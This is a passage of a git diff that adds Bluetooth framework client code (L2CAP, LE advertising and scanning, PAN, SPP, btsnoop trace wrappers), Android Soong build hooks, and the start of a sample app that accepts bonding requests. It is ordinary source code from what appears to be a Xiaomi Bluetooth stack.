BT_STATUS_PARM_INVALID); + + packet.l2cap_pl._bt_l2cap_disconnect.id = id; + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.l2cap_r.status; +} + +bt_status_t bt_l2cap_stop_listen(bt_instance_t* ins, void* handle, uint16_t psm) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.l2cap_pl._bt_l2cap_stop_listen.transport = BT_TRANSPORT_BLE; + packet.l2cap_pl._bt_l2cap_stop_listen.psm = psm; + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_STOP_LISTEN); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.l2cap_r.status; +} + +bt_status_t bt_l2cap_stop_listen_with_transport(bt_instance_t* ins, void* handle, bt_transport_t transport, uint16_t psm) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.l2cap_pl._bt_l2cap_stop_listen.transport = transport; + packet.l2cap_pl._bt_l2cap_stop_listen.psm = psm; + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_STOP_LISTEN); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.l2cap_r.status; +} \ No newline at end of file diff --git a/framework/socket/bt_le_advertiser.c b/framework/socket/bt_le_advertiser.c new file mode 100644 index 0000000000000000000000000000000000000000..2837bc58f5d566140d2b8591ce1de5d085d8a2cd --- /dev/null +++ b/framework/socket/bt_le_advertiser.c @@ -0,0 +1,107 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adv" + +#include <stdlib.h> + +#include "advertising.h" +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#include "bt_list.h" +#include "bt_socket.h" +#include "utils/log.h" + +bt_advertiser_t* bt_le_start_advertising(bt_instance_t* ins, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + advertiser_callback_t* cbs) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_advertiser_remote_t* adv; + + BT_SOCKET_INS_VALID(ins, NULL); + + adv = malloc(sizeof(*adv)); + if (adv == NULL) + return NULL; + + adv->callback = cbs; + packet.adv_pl._bt_le_start_advertising.adver = PTR2INT(uint64_t) adv; + memcpy(&packet.adv_pl._bt_le_start_advertising.params, params, sizeof(*params)); + if ((adv_len && (adv_len > sizeof(packet.adv_pl._bt_le_start_advertising.adv_data))) + || (scan_rsp_len && (scan_rsp_len > sizeof(packet.adv_pl._bt_le_start_advertising.scan_rsp_data)))) { + free(adv); + return NULL; + } + if (adv_len) + memcpy(packet.adv_pl._bt_le_start_advertising.adv_data, adv_data, adv_len); + packet.adv_pl._bt_le_start_advertising.adv_len = adv_len; + + if (scan_rsp_len) + memcpy(packet.adv_pl._bt_le_start_advertising.scan_rsp_data, scan_rsp_data, scan_rsp_len); + packet.adv_pl._bt_le_start_advertising.scan_rsp_len = scan_rsp_len; + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_START_ADVERTISING); + if (status != BT_STATUS_SUCCESS || !packet.adv_r.remote) { + free(adv); + return NULL; + } + + adv->remote = packet.adv_r.remote; + return adv; +} + +void bt_le_stop_advertising(bt_instance_t* ins, bt_advertiser_t* adver) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + if (!adver) + return; + + packet.adv_pl._bt_le_stop_advertising.adver = (uint32_t)((bt_advertiser_remote_t*)adver)->remote; + (void)bt_socket_client_sendrecv(ins, &packet, BT_LE_STOP_ADVERTISING); +} + +void bt_le_stop_advertising_id(bt_instance_t* ins, uint8_t adv_id) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + packet.adv_pl._bt_le_stop_advertising_id.id = adv_id; + (void)bt_socket_client_sendrecv(ins, &packet, BT_LE_STOP_ADVERTISING_ID); +} + +bool bt_le_advertising_is_supported(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_ADVERTISING_IS_SUPPORT); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.adv_r.vbool; +} diff --git a/framework/socket/bt_le_scan.c b/framework/socket/bt_le_scan.c new file mode 100644 index 0000000000000000000000000000000000000000..318a4fa5770f3cbb9e7fc99c576bb565a5c83e3e --- /dev/null +++ b/framework/socket/bt_le_scan.c @@ -0,0 +1,139 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scan" + +#include <stdlib.h> + +#include "bluetooth.h" +#include "bt_debug.h" +#include "bt_le_scan.h" +#include "bt_list.h" +#include "bt_socket.h" +#include "scan_manager.h" +#include "utils/log.h" + +bt_scanner_t* bt_le_start_scan(bt_instance_t* ins, const scanner_callbacks_t* cbs) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, NULL); + + bt_scan_remote_t* scan = malloc(sizeof(*scan)); + if (scan == NULL) + return NULL; + + scan->callback = (scanner_callbacks_t*)cbs; + packet.scan_pl._bt_le_start_scan.remote = PTR2INT(uint64_t) scan; + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_SCAN_START); + if (status != BT_STATUS_SUCCESS || !packet.scan_r.remote) { + free(scan); + return NULL; + } + + scan->remote = packet.scan_r.remote; + return scan; +} + +bt_scanner_t* bt_le_start_scan_settings(bt_instance_t* ins, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, NULL); + + bt_scan_remote_t* scan = malloc(sizeof(*scan)); + if (scan == NULL) + return NULL; + + scan->callback = (scanner_callbacks_t*)cbs; + packet.scan_pl._bt_le_start_scan_settings.remote = PTR2INT(uint64_t) scan; + if (settings) + memcpy(&packet.scan_pl._bt_le_start_scan_settings.settings, settings, sizeof(*settings)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_SCAN_START_SETTINGS); + if (status != BT_STATUS_SUCCESS || !packet.scan_r.remote) { + free(scan); + return NULL; + } + + scan->remote = packet.scan_r.remote; + return scan; +} + +bt_scanner_t* bt_le_start_scan_with_filters(bt_instance_t* ins, + ble_scan_settings_t* settings, + ble_scan_filter_t* filter, + const scanner_callbacks_t* cbs) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, NULL); + + bt_scan_remote_t* scan = zalloc(sizeof(*scan)); + if (scan == NULL) + return NULL; + + scan->callback = (scanner_callbacks_t*)cbs; + packet.scan_pl._bt_le_start_scan_with_filters.remote = PTR2INT(uint64_t) scan; + if (settings) + memcpy(&packet.scan_pl._bt_le_start_scan_with_filters.settings, settings, sizeof(*settings)); + + if (filter) { + memcpy(&packet.scan_pl._bt_le_start_scan_with_filters.filter, filter, sizeof(*filter)); + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_SCAN_START_WITH_FILTERS); + if (status != BT_STATUS_SUCCESS || !packet.scan_r.remote) { + free(scan); + return NULL; + } + + scan->remote = packet.scan_r.remote; + return scan; +} + +void bt_le_stop_scan(bt_instance_t* ins, bt_scanner_t* scanner) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + if (!scanner) + return; + + packet.scan_pl._bt_le_stop_scan.remote = ((bt_scan_remote_t*)scanner)->remote; + (void)bt_socket_client_sendrecv(ins, &packet, BT_LE_SCAN_STOP); +} + +bool bt_le_scan_is_supported(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, NULL); + + status = bt_socket_client_sendrecv(ins, &packet, BT_LE_SCAN_IS_SUPPORT); + if (status != BT_STATUS_SUCCESS || !packet.scan_r.vbool) { + return false; + } + + return true; +} diff --git a/framework/socket/bt_pan.c b/framework/socket/bt_pan.c new file mode 100644 index 0000000000000000000000000000000000000000..718e3116da0561bc52d2a765bdaa804a92faabc2 --- /dev/null +++ b/framework/socket/bt_pan.c @@ -0,0 +1,121 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "pan_api" + +#include <stdint.h> + +#include "bt_pan.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "pan_service.h" +#include "service_manager.h" +#include "utils/log.h" + +void* bt_pan_register_callbacks(bt_instance_t* ins, const pan_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->panu_callbacks != NULL) { + handle = bt_remote_callbacks_register(ins->panu_callbacks, NULL, (void*)callbacks); + return handle; + } + + ins->panu_callbacks = bt_callbacks_list_new(1); + + handle = bt_remote_callbacks_register(ins->panu_callbacks, NULL, (void*)callbacks); + if (handle == NULL) { + bt_callbacks_list_free(ins->panu_callbacks); + ins->panu_callbacks = NULL; + return NULL; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_PAN_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.pan_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->panu_callbacks); + ins->panu_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_pan_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->panu_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->panu_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->panu_callbacks) > 0) { + return true; + } + + cbsl = ins->panu_callbacks; + ins->panu_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_PAN_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.pan_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_pan_connect(bt_instance_t* ins, bt_address_t* addr, uint8_t dst_role, uint8_t src_role) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.pan_pl._bt_pan_connect.addr, addr, sizeof(*addr)); + packet.pan_pl._bt_pan_connect.dst_role = dst_role; + packet.pan_pl._bt_pan_connect.src_role = src_role; + + status = bt_socket_client_sendrecv(ins, &packet, BT_PAN_CONNECT); + if (status != BT_STATUS_SUCCESS || packet.pan_r.status != BT_STATUS_SUCCESS) { + return packet.pan_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_pan_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.pan_pl._bt_pan_disconnect.addr, addr, sizeof(*addr)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_PAN_DISCONNECT); + if (status != BT_STATUS_SUCCESS || packet.pan_r.status != BT_STATUS_SUCCESS) { + return packet.pan_r.status; + } + + return BT_STATUS_SUCCESS; +} diff --git a/framework/socket/bt_spp.c b/framework/socket/bt_spp.c new file mode 100644 index 0000000000000000000000000000000000000000..8f649f379cfe22c5b9b20f24c4ed4349bdf6ffaa --- /dev/null +++ b/framework/socket/bt_spp.c @@ -0,0 +1,169 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "spp_api" + +#include <stdint.h> + +#include "bt_profile.h" +#include "bt_socket.h" +#include "bt_spp.h" +#include "service_manager.h" +#include "spp_service.h" +#include "utils/log.h" + +void* bt_spp_register_app_with_name(bt_instance_t* ins, const char* name, const spp_callbacks_t* callbacks) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->spp_callbacks != NULL) { + return NULL; + } + + ins->spp_callbacks = bt_callbacks_list_new(1); + + handle = bt_remote_callbacks_register(ins->spp_callbacks, NULL, (void*)callbacks); + if (handle == NULL) { + bt_callbacks_list_free(ins->spp_callbacks); + ins->spp_callbacks = NULL; + return NULL; + } + + if (name) { + packet.spp_pl._bt_spp_register_app.name_len = strlen(name); + strlcpy(packet.spp_pl._bt_spp_register_app.name, name, sizeof(packet.spp_pl._bt_spp_register_app.name)); + } else + packet.spp_pl._bt_spp_register_app.name_len = 0; + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_REGISTER_APP); + if (status != BT_STATUS_SUCCESS || !packet.spp_r.handle) { + bt_callbacks_list_free(ins->spp_callbacks); + ins->spp_callbacks = NULL; + return NULL; + } + + return handle; +} + +void* bt_spp_register_app(bt_instance_t* ins, const spp_callbacks_t* callbacks) +{ + return bt_spp_register_app_with_name(ins, NULL, callbacks); +} + +void* bt_spp_register_app_ext(bt_instance_t* ins, const char* name, int port_type, const spp_callbacks_t* callbacks) +{ + return bt_spp_register_app_with_name(ins, NULL, callbacks); +} + +bt_status_t bt_spp_unregister_app(bt_instance_t* ins, void* handle) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (!ins->spp_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->spp_callbacks, NULL, handle); + bt_socket_client_free_callbacks(ins, ins->spp_callbacks); + ins->spp_callbacks = NULL; + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_UNREGISTER_APP); + if (status != BT_STATUS_SUCCESS || packet.spp_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_spp_server_start(bt_instance_t* ins, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.spp_pl._bt_spp_server_start.scn = scn; + memcpy(&packet.spp_pl._bt_spp_server_start.uuid, uuid, sizeof(*uuid)); + packet.spp_pl._bt_spp_server_start.max_connection = max_connection; + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_SERVER_START); + if (status != BT_STATUS_SUCCESS || packet.spp_r.status != BT_STATUS_SUCCESS) { + return packet.spp_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_spp_server_stop(bt_instance_t* ins, void* handle, uint16_t scn) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.spp_pl._bt_spp_server_stop.scn = scn; + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_SERVER_STOP); + if (status != BT_STATUS_SUCCESS || packet.spp_r.status != BT_STATUS_SUCCESS) { + return packet.spp_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_spp_connect(bt_instance_t* ins, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.spp_pl._bt_spp_connect.addr, addr, sizeof(*addr)); + packet.spp_pl._bt_spp_connect.scn = scn; + memcpy(&packet.spp_pl._bt_spp_connect.uuid, uuid, sizeof(*uuid)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_CONNECT); + if (status != BT_STATUS_SUCCESS || packet.spp_r.status != BT_STATUS_SUCCESS) { + return packet.spp_r.status; + } + + *port = packet.spp_pl._bt_spp_connect.port; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_spp_disconnect(bt_instance_t* ins, void* handle, bt_address_t* addr, uint16_t port) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.spp_pl._bt_spp_disconnect.addr, addr, sizeof(*addr)); + packet.spp_pl._bt_spp_disconnect.port = port; + + status = bt_socket_client_sendrecv(ins, &packet, BT_SPP_DISCONNECT); + if (status != BT_STATUS_SUCCESS || packet.spp_r.status != BT_STATUS_SUCCESS) { + return packet.spp_r.status; + } + + return BT_STATUS_SUCCESS; +} diff --git a/framework/socket/bt_trace.c b/framework/socket/bt_trace.c new file mode 100644 index 0000000000000000000000000000000000000000..44d7958a2fee749de2421481a0a798660080dfe2 --- /dev/null +++ b/framework/socket/bt_trace.c @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_trace.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "utils/btsnoop_log.h" + +void bluetooth_enable_btsnoop_log(bt_instance_t* ins) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + (void)bt_socket_client_sendrecv(ins, &packet, BT_LOG_ENABLE); +} + +void bluetooth_disable_btsnoop_log(bt_instance_t* ins) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + (void)bt_socket_client_sendrecv(ins, &packet, BT_LOG_DISABLE); +} + +void bluetooth_set_btsnoop_filter(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + packet.log_pl._bt_log_set_flag.filter_flag = filter_flag; + (void)bt_socket_client_sendrecv(ins, &packet, BT_LOG_SET_FILTER); +} + +void bluetooth_remove_btsnoop_filter(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + + packet.log_pl._bt_log_remove_flag.filter_flag = filter_flag; + (void)bt_socket_client_sendrecv(ins, &packet, BT_LOG_REMOVE_FILTER); +} \ No newline at end of file diff --git a/frameworkBluetooth.go b/frameworkBluetooth.go new file mode 100644 index 0000000000000000000000000000000000000000..130df77be82d6a7760e3002985ceae45e1f0b797 --- /dev/null +++ b/frameworkBluetooth.go @@ -0,0 +1,39 @@ +package frameworkBluetooth + +import ( + "android/soong/android" + "android/soong/cc" +) + +func init() { + android.RegisterModuleType("frameworkBluetooth_cc_library", frameworkBluetoothDefaultsFactory) +} + +func frameworkBluetoothDefaultsFactory() (android.Module) { + module := cc.LibrarySharedFactory() + android.AddLoadHook(module, frameworkBluetoothHook) + return module +} + +func frameworkBluetoothHook(ctx android.LoadHookContext) { + //AConfig() function is at build/soong/android/config.go + + Version := ctx.AConfig().PlatformVersionName() + + type props struct { + Srcs []string + Static_libs []string + Shared_libs []string + Cflags []string + } + + p := &props{} + + if (Version == "12") { + p.Cflags = append(p.Cflags, "-DANDROID_12") + } else if (Version == "14") { + p.Cflags = append(p.Cflags, "-DANDROID_14") + } + + ctx.AppendProperties(p) +} diff --git a/frameworkBluetoothBin.go b/frameworkBluetoothBin.go new file mode 100644 index 0000000000000000000000000000000000000000..9e8fcc2b8f2ddd391caf0d4af8f315b6ff413257 --- /dev/null +++ b/frameworkBluetoothBin.go @@ -0,0 +1,39 @@ +package frameworkBluetooth + +import ( + "android/soong/android" + "android/soong/cc" +) + +func init() { + android.RegisterModuleType("frameworkBluetooth_cc_binary", frameworkBluetoothBinDefaultsFactory) +} + +func frameworkBluetoothBinDefaultsFactory() (android.Module) { + module := cc.BinaryFactory() + android.AddLoadHook(module, frameworkBluetoothBinHook) + return module +} + +func frameworkBluetoothBinHook(ctx android.LoadHookContext) { + //AConfig() function is at build/soong/android/config.go + + Version := ctx.AConfig().PlatformVersionName() + + type props struct { + Srcs []string + Static_libs []string + Shared_libs []string + Cflags []string + } + + p := &props{} + + if (Version == "12") { + p.Cflags = append(p.Cflags, "-DANDROID_12") + } else if (Version == "14") { + p.Cflags = append(p.Cflags, "-DANDROID_14") + } + + ctx.AppendProperties(p) +} diff --git a/img/bt_driver.png b/img/bt_driver.png new file mode 100644 index 0000000000000000000000000000000000000000..aa598816002e2fcc5172f0b32b6848339ee2783c Binary files /dev/null and b/img/bt_driver.png differ diff --git a/sample_code/acceptbond/acceptbond.c b/sample_code/acceptbond/acceptbond.c new file mode 100644 index 0000000000000000000000000000000000000000..f730df3661703c03ce92f68b09cd74ae20cba24d --- /dev/null +++ b/sample_code/acceptbond/acceptbond.c @@ -0,0 +1,353 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "acceptbond.h" + +static bt_instance_t* g_bt_ins = NULL; +static void* adapter_callback = NULL; +static app_demo_t app_demo; + +/** + * @brief Block the current thread and wait to be woken up. + */ +static void wait_awakened(void) +{ + sem_wait(&app_demo.sem); +} + +/** + * @brief Wake up the main thread of the app. + */ +static void wakeup_thread(void) +{ + sem_post(&app_demo.sem); +} + +/** + * @brief Add a node to the message queue. + */ +static void app_list_add_tail(struct list_node* node) +{ + pthread_mutex_lock(&app_demo.mutex); + list_add_tail(&app_demo.message_queue, node); + pthread_mutex_unlock(&app_demo.mutex); + wakeup_thread(); +} + +/** + * @brief Remove the head node of the message queue. + */ +static node_t* app_list_remove_head(void) +{ + node_t* node_data; + + wait_awakened(); + + pthread_mutex_lock(&app_demo.mutex); + struct list_node* node = list_remove_head(&app_demo.message_queue); + pthread_mutex_unlock(&app_demo.mutex); + if (node == NULL) { + return NULL; + } + + node_data = list_entry(node, node_t, node); + return node_data; +} + +/** + * @brief Set the scanning mode to make the device locally connectable and discoverable. + */ +static void app_bt_set_scan_mode(bt_scan_mode_t mode, bool bondable) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_SET_SCANMODE; + node->data.gap_req._bt_adapter_set_scan_mode.mode = mode; + node->data.gap_req._bt_adapter_set_scan_mode.bondable = bondable; + app_list_add_tail(&node->node); +} + +/** + * @brief Set io capability to NOINPUTNOOUTPUT. + */ +static void app_bt_set_io_capability(bt_io_capability_t capability) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_SET_IO_CAPABILITY; + node->data.gap_req._bt_adapter_set_io_capability.cap = capability; + app_list_add_tail(&node->node); +} + +static void app_bt_get_local_name() +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_GET_NAME; + app_list_add_tail(&node->node); +} + +static void app_bt_gap_init(void) +{ + app_bt_set_io_capability(BT_IO_CAPABILITY_NOINPUTNOOUTPUT); + + app_bt_get_local_name(); + + app_bt_set_scan_mode(BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE, true); +} + +/** + * @brief Adapter state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_adapter_state_changed_callback(void* cookie, bt_adapter_state_t state) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_GAP_STATE_CHANGED; + node->data.gap_cb._on_adapter_state_changed.state = state; + app_list_add_tail(&node->node); + + if (state == BT_ADAPTER_STATE_ON) { + app_bt_gap_init(); + } else if (state == BT_ADAPTER_STATE_OFF) { + app_demo.running = 0; + } +} + +/** + * @brief Connection request callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_connection_request_callback(void* cookie, bt_address_t* addr) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_CONNECT_REQUEST_REPLY; + memcpy(&node->data.gap_req._bt_device_connect_request_reply.addr, addr, sizeof(bt_address_t)); + node->data.gap_req._bt_device_connect_request_reply.accept = true; + + app_list_add_tail(&node->node); +} + +/** + * @brief Connection state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_connection_state_changed_callback(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_CONNECTION_STATE_CHANGED; + node->data.gap_cb._on_connection_state_changed.state = state; + node->data.gap_cb._on_connection_state_changed.transport = transport; + memcpy(&node->data.gap_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + + app_list_add_tail(&node->node); +} + +/** + * @brief Bond state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_bond_state_changed_callback(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_BOND_STATE_CHANGED; + node->data.gap_cb._on_bond_state_changed.state = state; + node->data.gap_cb._on_bond_state_changed.transport = transport; + node->data.gap_cb._on_bond_state_changed.is_ctkd = is_ctkd; + memcpy(&node->data.gap_cb._on_bond_state_changed.addr, addr, sizeof(bt_address_t)); + + app_list_add_tail(&node->node); +} + +// gap callback +const static adapter_callbacks_t app_gap_cbs = { + .on_adapter_state_changed = gap_adapter_state_changed_callback, + .on_connection_state_changed = gap_connection_state_changed_callback, + .on_connect_request = gap_connection_request_callback, + .on_bond_state_changed = gap_bond_state_changed_callback, +}; + +/** + * @brief Initialize semaphore, mutex, message queue. + * + * @note Semaphores are used to control the number of concurrently executing threads. + * A semaphore has a counter, and threads need to acquire the semaphore before + * accessing a resource. When the semaphore counter is greater than 0, the thread + * can continue executing. When the semaphore counter is equal to 0, the thread + * needs to wait for other threads to release resources so that the semaphore + * counter can increase before it can continue executing. + * + * @note Mutex locks are used to protect shared resources, ensuring that only one thread + * can access the shared resource at a time, while other threads must wait until + * the lock is released by that thread before they can access it. + * + * @note Message queues is used to store events to be processed. When calling the Bluetooth + * synchronization interface, receiving and sending Bluetooth messages from the Bluetooth + * module should be done in different threads. + */ +static void app_demo_init(void) +{ + app_demo.running = 1; + sem_init(&app_demo.sem, 0, 1); + pthread_mutex_init(&app_demo.mutex, NULL); + list_initialize(&app_demo.message_queue); +} + +/** + * @brief Destroy semaphore, mutex, clear up message queue. + */ +static void app_demo_deinit(void) +{ + sem_destroy(&app_demo.sem); + pthread_mutex_destroy(&app_demo.mutex); + + node_t* entry = NULL; + node_t* temp_entry = NULL; + list_for_every_entry_safe(&app_demo.message_queue, entry, temp_entry, node_t, node) + { + list_delete(&entry->node); + free(entry); + } +} + +/** + * @brief The main thread processes events. + */ +static void app_handle_message(node_t* node) +{ + if (node == NULL) { + return; + } + + if (node->data.msg_type > APP_BT_GAP_MESSAGE_START && node->data.msg_type < APP_BT_GAP_MESSAGE_END) + demo_acceptbond_handle_gap_message(g_bt_ins, node); +} + +/** + * @brief Check the exit condition of the while loop in the main function. + * + * The condition for exiting the while loop can be multiple, but in this demo, + * only one scenario is provided: Bluetooth is turned off. + */ +static bool app_if_running(void) +{ + // Developers can add additional exit condition checks. + + return app_demo.running; +} + +int main(int argc, char* 